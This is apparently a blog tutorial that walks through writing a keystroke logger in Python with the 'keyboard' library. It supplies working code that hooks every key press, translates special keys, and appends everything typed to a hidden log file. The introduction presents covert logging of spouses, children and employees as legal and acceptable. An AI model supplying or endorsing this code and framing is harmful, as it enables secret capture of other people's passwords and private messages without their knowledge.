Coding A Keylogger in Python

What is A Keylogger?

The action is sometimes referred to as keystroke logging, logging or keyboard capturing. Actually, a keylogger can either be a software or hardware.
Most of the times, the user of the keyboard is unaware that his/her key-strokes are being logged. According to Wikipedia, they are legal.
You can use them to monitor your kids, spouse or if you are an employer, you can use it to monitor your employees.

History

Let's get to the history class,🎒
Keyloggers were invented in the mid-1970s, the Soviet Union developed and deployed hardware keyloggers to target typewriters.
In the 1970's, spies installed keystroke loggers in the US Embassy and Consulate buildings in Moscow. The bug was installed in Sellectric II and Sellectric III typewriters.

Coding A Keylogger In Python

Let's get started. 😎
Head over to your command prompt and type pip install keyboard.
If the command executed successfully without any error, head over to your favourite IDE. I am going to use sublime text but you can use any.

Wheeew!!!, We are almost done. Let's say 50% done.
Let me now explain the code. In the first line, we imported the keyboard module, then on the second line, we called the on_press method of the keyboard class. The on_press method takes a function as parameter and passes an event to the function. In this code, we called our function logger. We haven't defined the function yet so if we are to run the code, we will get an error. So we have to define that function. Noticed the line 3? It's really important, without it, the code won't work. The reason is that, without that statement, our code will execute and close without logging any keys so to prevent the application from closing, we add the keyboard.wait() statement to our code. It behaves like a while True statement.

So now, we have defined the logger function. Let me explain what the code does, the on_press method of the keyboard class passes an event to the function logger. Then logger then accepts the event as parameter and prints it out.

If we are to run our code, we will get this. ⬇️

KeyboardEvent(a down)
KeyboardEvent(p down)
KeyboardEvent(p down)
KeyboardEvent(p down)
[Finished in 3.4s]

We don't want the text, we need the letters only so we will have to modify our logger function. In order to get only the character, we must print out the event.name not event so let's modify our function again.

Now we get the result ⬇️

s
o
y
p
[Finished in 3.1s with exit code 1]

Good, we now get the letters only. We are making a key-logger right? 🤔 So we will need to save the results to a file. In order to make everything simple, let's name a function write whose job is to write the event.name value to a text file.

So we are done with our write function. It takes a parameter called character and writes it's value to a file called logs.txt. Now let's update our logger function to write the letters or characters to the text file.

See 😎, I made the logger function as simple as English.
Let me explain the logger function again. It takes a parameter event and passes it's event.name to the write function which in-turn writes it to a file.

We are kind of done. Let's see the full code now.

This code runs normally and logs every key. Now a problem arises. Let's see the problem. Run the program and type (Type anywhere, the key-logger will capture the key strokes) "Lucretius is a good boy". When you are done, close the program and open the logs.txt file. It should be in the directory of the python file.

When we open, we see

lucretiusspaceisspaceaspacegoodspaceboy

But wait 🤔, that's not what we typed.

The problem is from the event.name value. When we press keys like Enter, the event.name will be 'enter' or if we press the tab, the event.name value will be 'tab', space will be 'space' and etc. In order to solve this problem, we need to filter the value of event.name before passing it to the write function.

So let's create a filter function.

def filter(key):
    #Filters the key pressed before passing it to the write function.
    if key == 'backspace':
        key = '[backspace]'
    elif key == 'space':
        key = ' '
    elif key == 'f1':
        key = '[function key 1]'
    elif key == 'f2':
        key = '[function key 2]'
    elif key == 'f3':
        key = '[function key 3]'
    elif key == 'f4':
        key = '[function key 4]'
    elif key == 'f5':
        key = '[function key 5]'
    elif key == 'f6':
        key = '[function key 6]'
    elif key == 'f7':
        key = '[function key 7]'
    elif key == 'f8':
        key = '[function key 8]'
    elif key == 'f9':
        key = '[function key 9]'
    elif key == 'f10':
        key = '[function key 10]'
    elif key == 'f11':
        key = '[function key 11]'
    elif key == 'f12':
        key = '[function key 12]'
    elif key == 'ctrl':
        key = '[Control key]'
    elif key == 'up':
        key = '[up]'
    elif key == 'down':
        key = '[down]'
    elif key == 'left':
        key = '[left]'
    elif key == 'right':
        key = '[right]'
    elif key == 'page down':
        key = '[page down]'
    elif key == 'page up':
        key = '[page up]'
    elif key == 'insert':
        key = '[insert]'
    elif key == 'home':
        key = '[home]'
    elif key == 'end':
        key = '[end]'
    elif key == 'enter':
        key = '[enter]'
    elif key == 'delete':
        key = '[delete]'
    elif key == 'num lock':
        key = '[num lock]'
    elif key == 'scroll lock':
        key = '[scroll lock]'
    elif key == 'caps lock':
        key = '[caps lock]'
    elif key == 'print screen':
        key = '[print screen]'
    elif key == 'shift':
        key = '[shift]'
    elif key == 'right shift':
        key = '[right shift]'
    elif key == 'esc':
        key = '[esc]'
    elif key == 'menu':
        key = '[menu]'
    elif key == 'left windows':
        key = '[left windows]'
    elif key == 'right windows':
        key = '[right windows]'
    elif key == 'alt':
        key = '[alt]'
    elif key == 'tab':
        key = '[tab]'
    elif key == 'pause':
        key = '[pause]'
    elif key == 'right alt':
        key = '[right alt]'
    elif key == 'right ctrl':
        key = '[Right Control]'
    elif key == 'clear':
        key = '[clear]'
    elif key == 'decimal':
        key = '[decimal]'
    else:
        key = key
    write(key)

So let me explain the filter function. It takes a key or character as parameter, if the key is not an alphabet, the function wraps it in square brackets to let you know that it was a 'special-key' not a character typed by a user. Then after altering the key, it moves out of the condition statement and goes to the write function and passes the modified key value to the function.

Again 😫, let's modify the logger function.

So we are done 😌 💯

Full Code

import keyboard #imports the keyboard module

def write(character):
    #This function is reponsible for writting the characters to a file.
    with open('logs.txt', 'a') as file:
        file.write(character)

def logger(event):
    filter(event.name)

keyboard.on_press(logger) #Asign the on-press event to the function logger.

keyboard.wait() #Blocks or prevent the program from closing

Once more, let me give a final explanation. We first import the keyboard module.
Then we called the on_press method of the keyboard class. The on_press method takes a function as a parameter so we pass the logger function to the on_press method. The on_press method passes an event to the logger function. The logger function passes the event.name to the filter function which filters the event.name. Finally, the filter function passes the final results to the write function.

Making a Key-logger in Python

Table Of Contents

What is A Keylogger?

History

Coding A Keylogger In Python

Full Code

Tip